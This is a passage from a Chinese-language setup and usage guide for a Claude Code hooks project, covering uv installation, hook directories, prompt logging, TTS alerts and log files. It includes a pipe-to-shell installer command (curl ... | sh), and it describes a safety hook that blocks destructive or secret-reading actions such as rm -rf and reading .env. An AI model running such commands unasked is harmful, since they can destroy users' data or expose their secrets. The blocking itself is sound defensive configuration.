curl -LsSf https://astral.sh/uv/install.sh | sh
# 或者使用 pip 安装
pip install uv

2. 获取项目代码

克隆仓库或下载源码到本地：

git clone <repository-url> claude-code-hooks-mastery
cd claude-code-hooks-mastery

3. 配置 Hook 目录

确保项目根目录下存在 .claude 文件夹。核心的钩子脚本位于 .claude/hooks/ 目录中。每个脚本（如 user_prompt_submit.py）都通过顶部的注释声明了其依赖，UV 会在运行时自动处理。

检查关键配置文件：

• .claude/settings.json：包含钩子的权限配置。
• .claude/hooks/：存放所有生命周期钩子的 Python 脚本。

基本使用

安装完成后，只需在终端启动 claude 命令，钩子系统会自动拦截并处理相应事件。

启动 Claude Code

在项目根目录下运行：

claude

核心功能演示

一旦启动，以下功能将自动生效：

1. 提示词预处理 (UserPromptSubmit) 当您输入指令时，系统会先进行验证、日志记录及上下文注入，然后才发送给 Claude。 示例：输入任意代码生成请求，观察 logs/user_prompt_submit.json 中的拦截记录。

2. 安全拦截 (PreToolUse) 尝试执行危险命令（如 rm -rf 或读取 .env），钩子将自动阻断并记录警告。

3. 智能语音反馈 (TTS) 当任务完成或需要用户输入时，系统会根据优先级（ElevenLabs > OpenAI > 本地）播放语音提示。 触发方式：正常对话结束或工具执行完毕。

4. 查看日志 所有钩子事件均以 JSON 格式记录在 logs/ 目录：

   ls logs/
   # 查看最近的提示词提交日志
   cat logs/user_prompt_submit.json
   

自定义状态行（可选）

项目提供了多种终端状态显示脚本（.claude/status_lines/），您可以根据需要替换默认状态行，以显示 Git 信息、Token 用量或会话时长。

---

注意：chat.json 文件仅保留最近一次会话内容，每次新对话会覆盖旧内容；而 logs/ 目录下的日志会持续追加保存。